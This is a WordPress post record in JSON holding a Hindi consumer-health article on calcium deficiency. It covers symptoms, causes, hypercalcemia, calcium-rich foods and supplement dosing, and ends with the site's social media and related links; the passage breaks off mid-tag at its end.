{"id":8783,"date":"2023-09-29T20:02:50","date_gmt":"2023-09-29T20:02:50","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=8783"},"modified":"2025-10-24T21:25:48","modified_gmt":"2025-10-24T21:25:48","slug":"%e0%a4%95%e0%a5%88%e0%a4%b2%e0%a5%8d%e0%a4%b6%e0%a4%bf%e0%a4%af%e0%a4%ae-%e0%a4%95%e0%a5%80-%e0%a4%95%e0%a4%ae%e0%a5%80-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%95%e0%a5%8d%e0%a4%b7%e0%a4%a3-%e0%a4%95","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/09\/29\/%e0%a4%95%e0%a5%88%e0%a4%b2%e0%a5%8d%e0%a4%b6%e0%a4%bf%e0%a4%af%e0%a4%ae-%e0%a4%95%e0%a5%80-%e0%a4%95%e0%a4%ae%e0%a5%80-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%95%e0%a5%8d%e0%a4%b7%e0%a4%a3-%e0%a4%95\/","title":{"rendered":"Long-Term Effects of Calcium Deficiency: Understanding the Risks"},"content":{"rendered":"<h1>\u00a0<\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-9826\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/x.jpg\" alt=\"x\" width=\"260\" height=\"160\" \/><\/p>\n<p>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0936\u0930\u0940\u0930 \u0915\u0947 \u0932\u093f\u090f \u092c\u0939\u0941\u0924 \u091c\u0930\u0942\u0930\u0940 \u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u0935\u094b\u0902 \u092e\u0947\u0902 \u0938\u0947 \u090f\u0915 \u0939\u0948\u0964 \u092f\u0939 \u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u0914\u0930 \u0926\u093e\u0924\u094b\u0902 \u0915\u0947 \u0938\u093e\u0925 \u0915\u0908 \u0926\u0942\u0938\u0930\u0947 \u0905\u0902\u0917\u094b\u0902 \u0915\u0940 \u0938\u0902\u0930\u091a\u0928\u093e \u0914\u0930 \u0935\u093f\u0915\u093e\u0938 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092c\u0939\u0941\u0924 \u0906\u0935\u0936\u094d\u092f\u0915 \u0939\u0948\u0964 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u0940 \u0915\u092e\u0940 \u0915\u0947 \u0932\u0915\u094d\u0937\u0923\u00a0\u0939\u0921\u094d\u0921\u093f\u092f\u093e\u0902 \u0914\u0930 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u093e\u0902 \u0915\u092e\u091c\u094b\u0930 \u0939\u094b\u0928\u093e, \u0926\u093e\u0902\u0924 \u0915\u092e\u091c\u094b\u0930 \u0939\u094b\u0928\u093e, \u0928\u093e\u0916\u0942\u0928 \u091f\u0942\u091f\u0928\u093e, \u0928\u0938\u094b\u0902 \u0915\u093e \u0916\u0940\u0902\u091a\u0928\u093e, \u091c\u094d\u0935\u093e\u0907\u0902\u091f \u092a\u0947\u0928 \u0907\u0924\u094d\u092f\u093e\u0926\u093f\u00a0\u0939\u0948\u0964<\/p>\n<h2><strong><br \/><\/strong><strong>\u0915\u0948\u0938\u0947<\/strong> <strong>\u092a\u0924\u093e<\/strong> <strong>\u0915\u0930\u0947\u0902<\/strong> <strong>\u0915\u093f<\/strong> <strong>\u0936\u0930\u0940\u0930<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9827\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xx-300x225.jpg\" alt=\"xx\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xx-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xx-768x576.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xx.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong><strong>\u00a0<\/strong><strong>\u0915\u0947<\/strong> <strong>\u0932\u0915\u094d\u0937\u0923?<\/strong><\/h2>\n<ul>\n<li>\u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0915\u092e\u091c\u094b\u0930\u0940<\/li>\n<li>\u0926\u093e\u0922\u093c\u0940 \u092f\u093e \u0928\u093e\u0916\u0942\u0928\u094b\u0902 \u0915\u093e \u091f\u0942\u091f\u0928\u093e<\/li>\n<li>\u0926\u093e\u0902\u0924\u094b\u0902 \u0915\u0940 \u0915\u092e\u091c\u094b\u0930\u0940 \u0914\u0930 \u0922\u0940\u0932\u093e\u092a\u0928<\/li>\n<li>\u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0926\u0930\u094d\u0926 \u092f\u093e \u0926\u0941\u0930\u094d\u092c\u0932\u0924\u093e<\/li>\n<li>\u091c\u094b\u0921\u093c\u094b\u0902 \u092e\u0947\u0902 \u0926\u0930\u094d\u0926 \u092f\u093e \u0938\u094d\u0935\u0947\u0932\u093f\u0902\u0917<\/li>\n<li>\u0928\u0938\u094b\u0902 \u0915\u0940 \u0916\u0940\u0902\u091a\u093e\u0935<\/li>\n<li>\u0905\u0927\u093f\u0915 \u0925\u0915\u093e\u0928 \u092f\u093e \u0915\u092e\u091c\u094b\u0930\u0940<\/li>\n<li>\u0928\u0940\u0902\u0926 \u092e\u0947\u0902 \u0905\u0938\u0941<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0936\u0930\u0940\u0930<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u092a\u0930\u0947\u0936\u093e\u0928\u0940<\/strong> <strong>\u0939\u094b\u0924\u0940<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9828\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxx-300x212.jpg\" alt=\"xxx\" width=\"300\" height=\"212\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxx-300x212.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxx.jpg 483w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0936\u0930\u0940\u0930\u092e\u0947\u0902\u00a0\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u0940 \u0915\u092e\u0940\u00a0\u0938\u0947 \u0939\u093e\u0907\u092a\u094b\u0917\u094d\u0932\u093e\u0907\u0938\u0940\u092e\u093f\u092f\u093e, \u0911\u0938\u094d\u091f\u093f\u092f\u094b\u092a\u094b\u0930\u094b\u0938\u093f\u0938 \u0914\u0930 \u0915\u0908 \u0905\u0928\u094d\u092f \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0938\u092e\u0938\u094d\u092f\u093e\u090f\u0902 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0902.\u00a0\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u0940 \u0915\u092e\u0940\u00a0\u0938\u0947 \u092c\u094d\u0932\u0921 \u092a\u094d\u0930\u0947\u0936\u0930, \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0914\u0930 \u091c\u094b\u0921\u093c\u094b\u0902 \u092e\u0947\u0902 \u091c\u0915\u0921\u093c\u0928, \u0926\u093e\u0902\u0924\u094b\u0902 \u092e\u0947\u0902 \u0926\u0930\u094d\u0926, \u0921\u094d\u0930\u093e\u0908 \u0938\u094d\u0915\u093f\u0928, \u0928\u093e\u0916\u0942\u0928 \u0915\u093e \u0915\u092e\u091c\u094b\u0930\u00a0\u0939\u094b\u0928\u093e\u00a0\u0914\u0930 \u091f\u0942\u091f\u0928\u093e \u091c\u0948\u0938\u0940 \u0915\u0908 \u092a\u0930\u0947\u0936\u093e\u0928\u093f\u092f\u093e\u0902\u00a0\u0939\u094b\u0924\u0940\u00a0\u0939\u0948\u0902<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0936\u0930\u0940\u0930<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong> <strong>\u0915\u092c<\/strong> <strong>\u0939\u094b\u0924\u0940<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9829\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxx-300x185.jpg\" alt=\"xxxx\" width=\"300\" height=\"185\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxx-300x185.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxx.jpg 650w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u0940 \u0915\u092e\u0940\u0916\u093e\u0928 \u092a\u093e\u0928 \u092e\u0947\u0902 \u0932\u093e\u092a\u0930\u0935\u093e\u0939\u0940 \u0915\u0947 \u0915\u093e\u0930\u0923 \u0924\u094b \u0939\u094b\u0924\u0940 \u0939\u0940 \u0939\u0948, \u0915\u0908 \u092c\u093e\u0930 \u092f\u0947 \u0915\u093f\u0938\u0940 \u0924\u0930\u0939 \u0915\u0940 \u0926\u0935\u093e\u0913\u0902 \u0915\u0947 \u0938\u0947\u0935\u0928, \u0921\u093e\u092f\u091f\u0930\u0940 \u0907\u0902\u091f\u0949\u0932\u0930\u0947\u0902\u0938, \u0939\u093e\u0930\u094d\u092e\u094b\u0928\u0932 \u092c\u0926\u0932\u093e\u0935, \u092e\u0947\u0928\u094b\u092a\u0949\u091c, \u0928\u094d\u200d\u092f\u0942\u091f\u094d\u0930\u093f\u0936\u0928 \u0915\u0940 \u0915\u092e\u0940 \u0914\u0930 \u0915\u0908 \u092c\u093e\u0930 \u091c\u0947\u0928\u0947\u091f\u093f\u0915 \u092c\u0926\u0932\u093e\u0935 \u0915\u0947 \u0915\u093e\u0930\u0923 \u092d\u0940 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948. \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0921\u0940 \u0915\u0940 \u0915\u092e\u0940 \u0938\u0947 \u092d\u0940 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u093e \u0905\u0935\u0936\u094b\u0937\u0923 \u092c\u0947\u0939\u0924\u0930 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0928\u0939\u0940\u0902 \u0939\u094b \u092a\u093e\u0924\u093e<\/li>\n<\/ul>\n<h2><strong><br \/><\/strong><strong>\u0936\u0930\u0940\u0930<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u091c\u094d\u092f\u093e\u0926\u093e<\/strong> <strong>\u0939\u094b\u0928\u0947<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9830\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxx-300x225.jpg\" alt=\"xxxxx\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxx-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxx.jpg 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u091c\u093f\u0924\u0928\u093e \u091c\u0930\u0942\u0930\u0940 \u0939\u0948, \u0909\u0924\u0928\u0947 \u0939\u0940 \u0907\u0938\u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u094b\u0928\u0947 \u0915\u0947 \u0928\u0941\u0915\u0938\u093e\u0928 \u092d\u0940 \u0939\u0948\u0902\u0964 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u0947 \u0905\u0924\u094d\u092f\u0927\u093f\u0915 \u0938\u0947\u0935\u0928 \u0938\u0947 \u0939\u093e\u0907\u092a\u0930\u0932\u0915\u094d\u0938\u0947\u092e\u093f\u092f\u093e (Hypercalcemia) \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948, \u091c\u094b \u090f\u0915 \u0910\u0938\u0940 \u0938\u094d\u0925\u093f\u0924\u093f \u0939\u0948 \u091c\u092c \u0930\u0915\u094d\u0924 \u092e\u0947\u0902 \u092c\u0939\u0941\u0924 \u0905\u0927\u093f\u0915 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0938\u0947 \u0906\u092a\u0915\u094b\u092e\u0924\u0932\u0940, \u0909\u0932\u094d\u091f\u0940, \u0915\u092c\u094d\u091c, \u092c\u0947\u091a\u0948\u0928\u0940, \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0915\u092e\u091c\u094b\u0930\u0940, \u0925\u0915\u093e\u0928 \u0914\u0930 \u0905\u0927\u093f\u0915 \u092a\u094d\u092f\u093e\u0938 \u0932\u0917\u0928\u093e \u091c\u0948\u0938\u0940 \u0938\u092e\u0938\u094d\u092f\u093e\u090f\u0902 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0902<\/li>\n<\/ul>\n<h2>\u00a0<\/h2>\n<h2><strong>\u0924\u0947\u091c\u0940<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0948\u0938\u0947<\/strong> <strong>\u092c\u0922\u093c\u093e\u090f<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9831\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxx-300x210.jpg\" alt=\"xxxxxx\" width=\"300\" height=\"210\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxx-300x210.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxx.jpg 460w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong><strong>\u00a0<\/strong><strong>\u0938\u0947<\/strong> <strong>\u092d\u0930\u092a\u0942\u0930<\/strong> <strong>\u092b\u0942\u0921<\/strong><strong> ?<\/strong><\/h2>\n<ol>\n<li>\u092c\u094d\u0930\u094b\u0915\u094b\u0932\u0940&#8220;<\/li>\n<li>\u092c\u0940\u091c \u0914\u0930 \u092e\u0947\u0935\u0947<\/li>\n<li>\u091f\u094b\u092b\u0942<\/li>\n<li>\u0938\u0902\u0924\u0930\u093e<\/li>\n<li>\u0930\u093e\u0917\u0940<\/li>\n<\/ol>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0938\u092c\u0938\u0947<\/strong> <strong>\u0905\u091a\u094d\u091b\u0940<\/strong> <strong>\u0926\u0935\u093e<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0940<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9832\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxx-300x200.jpg\" alt=\"xxxxxxx\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxx-300x200.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxx.jpg 375w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ol>\n<li>\u0936\u0947\u0932\u0915\u0948\u0932 500\u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0914\u0930 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0915\u0940 \u0915\u092e\u0940 \u0915\u093e \u0907\u0932\u093e\u091c \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0938\u0947 \u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u0914\u0930 \u091c\u094b\u0921\u093c\u094b\u0902 \u0915\u094b \u0938\u094d\u0935\u0938\u094d\u0925 \u092c\u0928\u093e\u090f \u0930\u0916\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ol>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong><strong>\u00a0<\/strong><strong>\u0915\u094b<\/strong> <strong>\u0926\u0942\u0930<\/strong> <strong>\u0915\u0930\u0928\u0947<\/strong> <strong>\u0915\u0947<\/strong><strong>\u00a0<\/strong><strong>\u0909\u092a\u093e\u092f?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9833\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxx-283x300.jpg\" alt=\"xxxxxxxx\" width=\"283\" height=\"300\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxx-283x300.jpg 283w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxx.jpg 494w\" sizes=\"(max-width: 283px) 100vw, 283px\" \/><\/p>\n<ol>\n<li>\u0926\u0942\u0927 (Milk) \u092f\u0947 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948 \u0915\u093f \u0939\u092e\u093e\u0930\u0947 \u0936\u0930\u0940\u0930 \u0915\u094b \u092a\u094d\u0930\u0924\u093f\u0926\u093f\u0928 \u091c\u093f\u0924\u0928\u0947 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e\u00a0\u0915\u0940 \u091c\u093c\u0930\u0942\u0930\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0909\u0938\u0915\u093e \u0932\u0917\u092d\u0917 \u090f\u0915 \u0924\u093f\u0939\u093e\u0908 \u0939\u093f\u0938\u094d\u0938\u093e \u090f\u0915 \u0917\u093f\u0932\u093e\u0938 \u0926\u0942\u0927 \u092e\u0947\u0902 \u092a\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u092e\u091b\u0932\u0940 (Fish)<\/li>\n<li>\u092c\u093e\u0926\u093e\u092e (Almond)<\/li>\n<li>\u0913\u0930\u0947\u0902\u091c \u091c\u0942\u0938 (Orange Juice)<\/li>\n<li>\u091a\u0940\u091c\u093c (Cheese)<\/li>\n<li>\u092f\u094b\u0917\u0930\u094d\u091f (Yogurt)<\/li>\n<li>\u092c\u094d\u0930\u094b\u0915\u0932\u0940 (Brocolli)<\/li>\n<li>\u0905\u0902\u091c\u0940\u0930 (Fig<\/li>\n<\/ol>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0917\u094b\u0932\u0940<\/strong> <strong>\u0915\u093f\u0924\u0928\u0947<\/strong> <strong>\u0926\u093f\u0928<\/strong> <strong>\u0916\u093e\u0928\u093e<\/strong> <strong>\u091a\u093e\u0939\u093f\u090f<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9834\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxx-300x169.jpg\" alt=\"xxxxxxxxx\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxx-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxx-768x432.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxx-1024x576.jpg 1024w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxx.jpg 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u0936\u0930\u0940\u0930 \u0915\u094b \u0932\u0917\u092d\u0917 \u0930\u094b\u091c\u093e\u0928\u093e 1000 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u092a\u0921\u093c\u0924\u0940 \u0939\u0948. \u0932\u0947\u0915\u093f\u0928 \u0938\u092a\u094d\u0932\u0940\u092e\u0947\u0902\u091f\u094d\u0938 \u0932\u0947 \u0930\u0939\u0947 \u0939\u0948\u0902 \u0924\u094b \u090f\u0915 \u0938\u093e\u0925 1000 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0928\u093e \u0932\u0947\u0902. \u092c\u0932\u094d\u0915\u093f\u00a0500 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0915\u0940 \u0926\u094b \u091f\u0947\u092c\u0932\u0947\u091f\u094d\u0938 \u0926\u093f\u0928 \u092e\u0947\u0902 \u0926\u094b \u092c\u093e\u0930 \u0932\u0947\u0902.<\/p>\n<h2>\u00a0<\/h2>\n<h2><strong>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u0917\u094b\u0932\u0940<\/strong> <strong>\u0916\u093e\u0928\u0947<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0932\u093e\u092d<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9835\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxxx-300x206.jpg\" alt=\"xxxxxxxxxx\" width=\"300\" height=\"206\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxxx-300x206.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/xxxxxxxxxx.jpg 579w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0942\u092a \u0938\u0947 \u092c\u0928\u093e\u0908 \u0917\u092f\u0940 Calcium Tablet \u0938\u0947 \u092c\u0949\u0921\u0940 \u0915\u094b \u092a\u094d\u0930\u091a\u0941\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e, \u092e\u0948\u0917\u094d\u0928\u0947\u0936\u093f\u092f\u092e \u0914\u0930 \u091c\u093f\u0902\u0915 \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964 Calcium Source \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902\u00a0\u0907\u0938\u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0928\u0947 \u0938\u0947 \u092c\u0949\u0921\u0940 \u092e\u0947\u0902 \u092e\u0938\u0932\u094d\u200d\u0938, \u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u0914\u0930 \u0907\u092e\u094d\u200d\u092f\u0942\u0928\u093f\u091f\u0940 \u0915\u094b \u092e\u091c\u092c\u0942\u0924\u0940 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948<\/p>\n\n\n<p><strong>For more information Visit us :<\/strong><\/p>\n\n\n\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n\n\n\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n\n\n\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n\n\n\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n\n\n\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n\n\n\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n\n\n\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n\n\n<p><strong>RELATED VIDEO<\/strong><\/p>\n<ol>\n<li class=\"title style-scope ytd-video-primary-info-renderer\"><strong>Best source of iron<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/youtu.be\/1j5lM7Abhgo\">https:\/\/youtu.be\/1j5lM7Abhgo<\/a><\/li>\n<li><strong>Carbohydrates rich fruits :<\/strong>&nbsp;<a href=\"https:\/\/youtu.be\/4SbJgsflQAE\">https:\/\/youtu.be\/4SbJgsflQAE<\/a><\/li>\n<li><strong>Benefits and harms of apricots&nbsp; :&nbsp;<\/strong>&nbsp;<a href=\"https:\/\/youtu.be\/Mwf_ILPqrw4\">https:\/\/youtu.be\/Mwf_ILPqrw4<\/a><\/li>\n<\/ol>\n<p><strong>RELATED ARTICLE<\/strong><\/p>\n<ol>\n<li><strong>Benefits of iron fruits :&nbsp;<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/\">https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/<\/a><\/li>\n<li><strong>Carbohydrates rich fruits :&nbsp;<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/\">https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/<\/a><\/li>\n<li><strong>Benefits and harms of apricots :&nbsp;<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2021\/12\/11\/\">https:\/\/www.healthyvedics.com\/blog\/2021\/12\/11\/<\/a><\/li>\n<\/ol>\n<p><strong>&nbsp;<\/strong><\/p>\n<p><strong>VISIT OUR WEBSITE&nbsp;<\/strong><\/p>\n<ol>\n<li><a 